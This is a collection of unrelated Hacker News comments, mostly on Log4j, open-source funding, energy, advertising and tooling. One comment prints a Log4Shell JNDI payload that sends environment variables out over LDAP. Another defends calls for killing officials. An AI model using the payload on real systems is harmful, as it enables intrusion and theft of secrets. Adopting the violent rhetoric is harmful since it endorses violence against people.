skysight-inc/HackerNews huggingface dataset:
This bug was not consequence of not enough developers. And there will never be guaranteed "no security issue" situation. That level of certainly is simply too expensive.
Code doesn't just "break". It still works the same. If a vulnerability is discovered you either update the package or switch to a fork. Switching is not really that much extra work compared to updating. This issue has really nothing to do with open source except that you have the extra option of forking.
I don't really see how the Log4J2 issue would have been uncovered by testing. It's not really a bug but more of a design flaw.

The reason is that the whole JNDI string interpolation feature by itself opens a door to a whole world of layered complexity which you can't comprehend. And even if you could comprehend it all Java could add some feature to JNDI which introduces an issue which wasn't there when it was all tested.
> You need a proper "asshole" in such organizations that will go and threaten complete lack of support if the bill isn't paid.

That's the point, they don't pay, and they don't get support. But they still complain when there is a major CVE.

> For comparison, $1M is the total yearly cost of ~3 average engineers at FAANGs.

I wish we got that...
It's not necessary to point to nuclear waste (or safety) to dismiss nuclear. Cost is sufficient. Construction of new nuclear power plants is simply far too expensive to be a good way to contribute to CO2 emission reduction.
In particular, to highlight the text
To explain the competition? Sure.

To explain why people build highly complex excel applications to get work done? That's more about industry standards, learning curve, portability, need for rapid modification of requirements by users...

I've certainly done a lot of work over the years eliminating the need to use Excel docs that require manual maintenance, but mainly for things where a) the underlying data structures don't change much and b) if they do change, the end user doesn't need to be the one to do it on the fly. (mostly this entails tapping into the underlying data sources-- or first building the tools to do so-- and then automating the transformations, analysis, and presentation using some combination of r/python along with a SQL database & BI platform.) I work with finance folks too though, and what they do with excel is generally not a candidate for this process.
I don't want to waste your time with this, but:

I can accept that perhaps I should have added more context, but if all I was responding to was "(they aren't lying because) they are professionals" it seems fine to say "professionals can lie."

In the broader discussion happening here it looks like people are mad at the mere suggestion that Amazon could be behaving in a way that is not in the best interests of their customers (and that the moderators are baseless coming to Amazon's defence). I'm open for waiting for more evidence, but the evidence we do have right now seems to justify most of the comments that are not obviously low effort.

You can ban me for whatever you want, but calling for the death of officials that violate rights is protected speech. Calling for the death of a specific individual is usually not. By retaining my comment you are not privy to any illegal behavior.

I've seen what bad cops can do. You can too if you look now. Voting doesn't seem to work. Can't vote when they've already killed you, anyway. Just in my personal experience we had some local cop that was ordering drugs online for who knows what -- could be planting them on innocent people -- and nothing came of it despite the reports filed.

I'd like to remain on the site as I draw great enjoyment from it. Guess I'll stay away from political topics.
I think to a certain degree it’s just an innate capacity for creativity coupled with logic that gets refined in practice. If you don’t have those core components in you you are pretty much at a disadvantage to develop them.

To be honest in the last 10-15 years with the shift to Agile it really feels like the type of folks who become software devs prior to that shift represent about 15-20% of the new devs now. The rest are kind of just commodity devs. Give them good detailed requirements and they can churn out code. That 15-20% are the ones who can churn out something without a hyper level of detail or refined requirements.
Damn, 4 hours!

I just got into a bit of video editing because I had to do a real app demo for my new app, for it to be approved on the App Store (https://lowtechguys/rcmd)

This should come in handy for the next app!
If you want to play code golf you can do static imports and write this:

int numberOfAuthors = arr.stream().map(getAuthor).distinct().collect(counting());

You still save a few parentheses and one method call in Ruby (.compact vs .stream() and .collect()) and the method names are shorter. Mostly it's a matter of static vs dynamic typing and naming conventions, not a consequence of Ruby code blocks. And is it worth shortening at this point?

BTW I know uniq is a thing in unix, but I hate this naming decision.
"Your tech stack isn’t actually in danger if you review that code you use."

Tell that to everyone who depended on Log4j for the past 8 years!
Everyone does open source work for different reasons, and I'm not sure if more money is always enough of a motivator. I have a handful of projects that you couldn't pay me to provide commercial support for because I no longer have any interest in them. Working on boring projects for money is what full-time jobs are for (and most full-time eng jobs are much easier than maintaining a popular open source project).

With that said, I could totally see how paid OSS work as the norm would be a catalyst to improving the status quo. It would certainly lead to more and better OSS projects. Even if the current OSS ecosystem doesn't like it, it will 100% lead to new projects and new devs pursuing the money.

Maybe part of the solution is to form agencies which work with OSS devs to pursue contracts/sponsorships/donations from commercial users of their projects? The legal/business/sales part of the process is non-trivial. This makes me think of "content creators" on social media that make a ton of money producing free videos/streams. OSS devs are maybe like the B2B version of that? :P
The headline is missing a key phrase from the first paragraph: "if they use them to communicate with clients or colleagues." That issues is easily solved by getting a separate work phone, which is something someone in the financial services industry who regularly communicates with clients can easily do. This is really a nothingburger.
Sure his life seems like a nightmare, but to be honest, wouldn't it have been even worse without the streaming. Then he'd probably still be playing computer games all the time, still living in squalor, but he'd be broke. Now he's at least able to save up a lot of money.
I'm not generally a fan of made-for-youtube, but they do have some classic documentaries on there. Including "the most expensive factual series ever made", https://en.wikipedia.org/wiki/The_World_at_War . Made in the 70s, it was long enough to regard it as history but recent enough that senior participants were still alive and available to be interviewed.
While I can really *relate and understand how a "alarm fatigue" can build up, especially when you have to choose between sleep and taking shelter.
However, I'm guessing that since these workers were currently at work, at an Amazon facility, have the reputation of being infamous for monitoring and clocking workers, these alarm fatigue considerations would not apply in the same way.

What might apply creating similar alarm fatigue effect, and this is really just me guessing based on Amazon facilities reputation, is the incentive (or its lack thereof) Amazon may provide for workers to evacuate vs continue their work.

* I have never experienced tornado alarm, but have experienced multiple rockets alarms, some of which, I've (foolishly) decided to ignore in favor of getting another hour of sleep.
Are the salarys on levels.fyi accurate? Looking at Dublin salaries, they seem very high?
Nicely done with the CRT look.
It's absurd that we're so dedicated to the god of Capitalism that we've had to invent a special term ("negative externalities") to describe the basic premise of ethics - "being selfish is bad".

The "economic value" of billboards shouldn't even be a question. It's self-evident that billboards benefit the owner of the billboard at the expense of everyone else. Nobody looks at an empty patch of sky and wishes there were an advertisement there instead.
Thats the problem. If you use say React then you are using it as is without any warranty implied. React is the equivalent of an aircraft in complexity when looking at its dependencies and then the browser stack itself on top!

React gives you a free copy of an aircraft and will probably maintain it for years. But maybe they rely on an altimeter developed by a poor person who decides they dont have time to work on it because they need to help their mum.

Well thats everyone elses problem now.

but the ease of download and use of React and other code libraries creates a sense of entitlement.

Yes if its broke and you need it fixed you have to pay someone now!

Its still libre its just not gratis anymore
While not a complete solution, the AGPL helps close this loophole.
That's a ROI issue, not a climate issue. If a dollar is better invested in something else, it will be.
Fuck. I'm getting too old for this shit. The cat and mouse game of Google / AdTech vs the general public has gone off the deep end. Popups. Popovers. Popunders. Content shifting. Paywalls. GDPR Alert! Chatbots. Can I send you a Cookie? Ok. Can I help you find something? No. Wait! Don't close the page yet! Coupon code? No. Subscribe to our newsletter? No. Autoplaying video. How To Make A Million Bucks A Month Selling On Amazon! You Can Be A Handsome Guy On A Beach Making Money Just Like Me! For. Fucks. Sake.

I just want to use the web to access a few of my favorite news sites, use Github, access documentation, watch the (very) occasional YouTube vid, and send email. Am I a dying breed? A mere rounding error in the pie chart of web users? Maybe.

But I am truly at a loss for what to do next. Using the internet without uBO is like sticking needles into my eyeballs. "Switch to Firefox!" they said. I've tried, many times. But I really need some simple things that FF can't provide. Like being able to work with JXA to grab tab URLs for some Alfred scripts and other automations I rely heavily on. There's a 20-year old feature request for this[0].

Ok, Brave then? Probably the best option right now, but it keeps me up at night thinking one day Google will actively start going after the forks, making their lives difficult enough in one way or another to the point that they have to shut down.

Safari? I haven't checked in a while but there were some critical extensions that just didn't exist last time I checked- things like Rich URL[1] for copying tabs as markdown (so useful!). Dev tools were meh.

Just feels like there aren't any good options. Rock and hard place. Google, enough is enough—why are you doing this? (rhetorical. we know why)

[0]: https://bugzilla.mozilla.org/show_bug.cgi?id=125419

[1]: https://chrome.google.com/webstore/detail/rich-url/bkjdcppkd...
Well a modern car is a steel safety cage on wheels. It's designed and tested to withstand impacts, rollovers, etc. while keep the occupants safe (or at least, not crushed).
I'd always had a feeling Clicker Games work as a satire of the worst side of video games, the one that prays on your dopamine system without offering anything artistically, intellectually, creatively or mechanically interesting, like a generic MMO stripped of its fancy clothing, or a stupid mobile game taken to its extreme.

And then comes Universal Paperclips, whose whole appeal is that it subverts this by doing something really cool and interesting with the formula.
It'd be interesting to see a library versioning model where every release is a breaking release, where we accept that Hyrum's law is a fact of reality (like Nix I guess?).

Then, the release process of a new version is additionally required to provide some migration path from previous releases. For example, if the language-level API is the same, but the behavior is slightly different, provide a diagnostic message that shows up in the editor when the library's updated.

On the other hand, if the language-level API has changed, additionally provide a "go fix"-like program that can migrate the user's code to use the updated library. As long as a migration path is provided/automated, updating libraries would be as easy updating to use an API-compatible release.
The feel of physically manipulating vinyl is one thing I really enjoy about DJing. Gentle touches to the spinning platter and adjusting the pitch microscopic amounts to perfectly match two different records is a wonderful art.
Do you genuinely not see a difference between Bitcoin and a stock?

Stock is ownership of a company and entitlement to its profits. If you gamble on an unprofitable company with no assets, then sure, your stock could be worth very little. But even then, the company likely has cashflow or something in its financials that's valuable.

Companies selling stock are also analyzed to death and publish their audited financials.
Roads should not have destinations on them, they should be a connection between two destinations. Streets are an example of a destination, with businesses, homes, etc. Streets can have parking nearby.
Its almost like microsoft utterly fails to understand why zoom dominated...

Its strange how many companies believe their own lies about anything requiring an explicit account being a good idea...
Looking at SOL/USDT on Binance.com [1] as an example, it looks like there are typically orders for a few thousand USDT within a 1 cent spread (0.006% of the price), or orders for a few hundred thousand USDT within a 25 cent spread (0.15% of the price).

Most of us aren't trading millions at a time, and these spreads seem fairly insignificant compared to fees extracted by banks, credit card networks, etc, so is this really an issue?

[1] https://www.binance.com/en/trade/SOL_USDT?layout=pro
Medium term the best solution is massive rollout of renewables, with some storage, and gas to fill in the gaps. This will more rapidly reduce grid CO2 emissions, and for much lower cost, than a nuclear rollout.
My general health. Convenience makes you lazy.

That being said, exercising efficiently is easier than ever thanks to technology as well.
How to Speak, Patrick Winston: https://www.youtube.com/watch?v=Unzc731iCUY&ab_channel=MITOp...

(And, more generally, just any/all of the MITOCW stuff.)
Would following an open core model work better, like it has for Hashicorp, Sidekiq, Tailwind, etc? Also, would focusing more on the low 4 figures result in more revenue? I feel the crowd sensitive to open source has that kind of spending authority, but once you get into the enterprise amounts, it's out of our reach to effect change.
I created Empirical specifically to have statically typed Dataframes (tables).

let trades = load("trades.csv")

from trades select where symbol == "AAPL" and size > 1000

Empirical uses type providers and automatic compile-time function evaluation to sample the CSV file and infer a type ahead of time. The above can be run in a REPL or in a stand-alone script and the result is statically typed! (There is no "gradual" or "optional" types; it is fully static.)

Empirical has generic types, which is a syntactic sugar for templates. Here is an example of a five-minute volume-weighted average price (VWAP):

func wavg(ws, vs) = sum(ws * vs) / sum(ws)

from trades select vwap = wavg(size, price) by symbol, bar(timestamp, 5m)

I created Empirical for time-series analysis (I work in finance) and began with the question, "What if q/kdb+ were more like Haskell?" The result is very different from either language, but I wanted to make table actions feel dynamic even though they are fully static.

To run a script that takes a command-line argument for the location of the CSV file, just supply the type ahead of time since there isn't a compile-time path to the file.

data Trade:
symbol: String,
timestamp: Timestamp,
price: Float64,
size: Int64
end

let trades = csv_load{Trade}(argv[1])

Feel free to try it out.

https://www.empirical-soft.com
I think the responsibilities of project coordinator / project manager can be a part of the work of senior IC (Principal Engineer) or someone like Agile Coach, Delivery Lead.

Recently, I was a Chief Architect - an IC role - and organised and drove cross-team initiatives was a part of my work. It is not an easy skill, it needs practicing and the work is time consuming, may not be a fun quite often, but I think you do not absolutely have to assign it to a manager.
Recent and related:

Log4j RCE Found - https://news.ycombinator.com/item?id=29504755 - Dec 2021 (457 comments)

Widespread exploitation of critical remote code execution in Apache Log4j - https://news.ycombinator.com/item?id=29520415 - Dec 2021 (80 comments)
I'd put it this way. Ads networks position themselves as an efficient money delivery pipeline between you and content creators. In reality, they are like a delivery company that employs junkies and is run by heroin addicts. When they take your money, they promise to not steal. But junkies are junkies, they can't not steal, so on the way to those content creators, they steal most of your money.
I've never heard of OSHWA. I agree with the other reply that Open Hardware seems to be a pretty generic phrase.
If this survey is to be believed, as of last year, nearly everyone is using either Java 8 or Java 11, with Java 8 being the overwhelming favorite with almost 60% of respondents reporting using it.

https://www.jrebel.com/blog/2020-java-technology-report
Counterpoint:

You can escape online advertising by walking away from the computer.

There's nowhere you can walk to escape physical advertising. Maybe the desert.
TIL you actually can enable circular references in Excel. Though I struggle to see the practical usefulness except for a few edge cases.
I hear you, but at this point it seems everyone is taking it seriously, and the previous discussion was clearly the major HN thread.
> Sometimes they are a public company with fiscal responsibilities.

Public companies also have accounts for goodwill in their books, don't they?

Also, I'd even say that depending on volunteers for everything when you aren't in dire straits isn't to responsible.
And if you do that everytime an unmaintained project gets a 10 severity CVE, we'll have that at 200 lines in no time. Proabably petition whatever generates your Pom.xml to auto-include those lines.
"Far too expensive" in what context? For whom? Short-sighted profit-seeking, growth-oriented capitalism got us into this mess and it certainly won't get us out.
> You can place that in any kind of environment you find comfortable working in.

That's exactly what I did with my 4 high resolution monitors. And my current setup even lets me go to the kitchen to make a really tasty espresso or a snack without having to disentangle myself from a headset first. And I can even continue to listen to the music from my speakers while sipping aforementioned coffee.

>If it means 4 screens on the balcony of a Tuscan villa instead of a tiny desk in a depressing space? Maybe.

But they still feel the tiny desk in front of them, and still see it through the mentioned "keyboard window", still hear the janitor vacuuming his merry way down the hallway.

So essentially, this would be a desktop background, which costs 400$ and requires recharging a headset every 2h.

> What about if it's a 100g headset

Then they better start making meetings REALLY short, unless they want the battery go flat halfway through the second slide.

> The benefits for shared movies, group gatherings, co-working, and social gaming are very compelling.

Shared movies: big screen + streaming + comfy couch

Group Gatherings: until such time as VirtualReality figures out how to get me an ActualReality beverage, I pass.

Co-Working: Teams/Zoom/etc.

Social Gaming: Already possible, metaverse not required.
Part of the solution is instilling a fuck it, let it break, “left-pad” attitude in the core util maintainers across all languages and platforms.

This will be the chaos monkey you’d need to build resilience in open source.

I can see in such a scenario the big companies taking more interest in paying maintainers or forking and maintaining it themselves.

Maybe a open source strike is needed? A year without security patches on anything maintained by an unpaid individual or team.
Hi David!

Thank you for sharing that link. I'm a reader of yours and never imagined you replying one of my comments.

By the way thank you for the coverage in English you do about my country which summarizes many of the things that are happening here. And specially for reporting about the political context in which all of these is happening. As this is something not covered much by other news outlets.

I was curious about Novi/WhatsApp because the potential it has for becoming a new widespread payment method due to the market share of WhatsApp in these countries. Not much about the underlying technology.

So many transactions here involve sharing screenshots of bank payments confirmations or photos of bank deposit slips via WhatsApp messages. From small stuff to even loans, that Whatsapp could easily move from sending screenshots to sending payments by adding a "pay" button on their app.

If they get the end user experience right, and regulatory approvals which is a bigger challenge by itself. I don't think the end users will think much about the underlying technology.
+1.

This can lead to corporate capture. We see this in some projects already.
Yes! Was going to mention the same.

Early Detroit Techno was just so damn cool. :D

Not sure if it’s just nostalgia for the times but the only that seemed as exciting to me is the early days of Jungle and Drum and Bass.

Probably just ‘cause I is old.
> But one thing that I haven't seen mentioned enough is that this only affects pretty old versions of java.

Recent versions were still susceptible to e.g. exfiltration of env vars, which may often contain secrets.

${jndi:ldap://127.0.0.1:1389/o=${env:PATH}}
How exactly is it broken? Seems to be working pretty great. Great clickbait-y title though!
8 and 11 are LTS releases, and are still supported. 17 is the new LTS, but it's only been out for 2m. See https://endoflife.date/java
Fair enough, but I didn't mean sending in bugfixes because I need it for my employer, I meant sending in bugfixes (or features) to a project that I wanted to make because it bothered me. For example, some time ago I sent in a patch to use better data structures in an event loop library that I think is cool but otherwise don't use.

Should OSS devs optimize for my (probably quite rare) use case? Probably not, but the feeling when making a patch for something that I like is still different when the maintainer runs it as a business compared to when they run it as a hobby.

(This is what the whole discussion seems to be about btw. Some people like to program in their free time as a hobby and other people would REALLY like guarantees about the software that cannot be made without losing the essential hobby-ness of it)
Any Ben Eater videos really, but this is a good one.

Building a VGA video card

https://m.youtube.com/watch?v=l7rce6IQDWs
Unlike the police.
You can fix it for your own applications and libraries. The tooling exists.

You can't force other people to use your fork.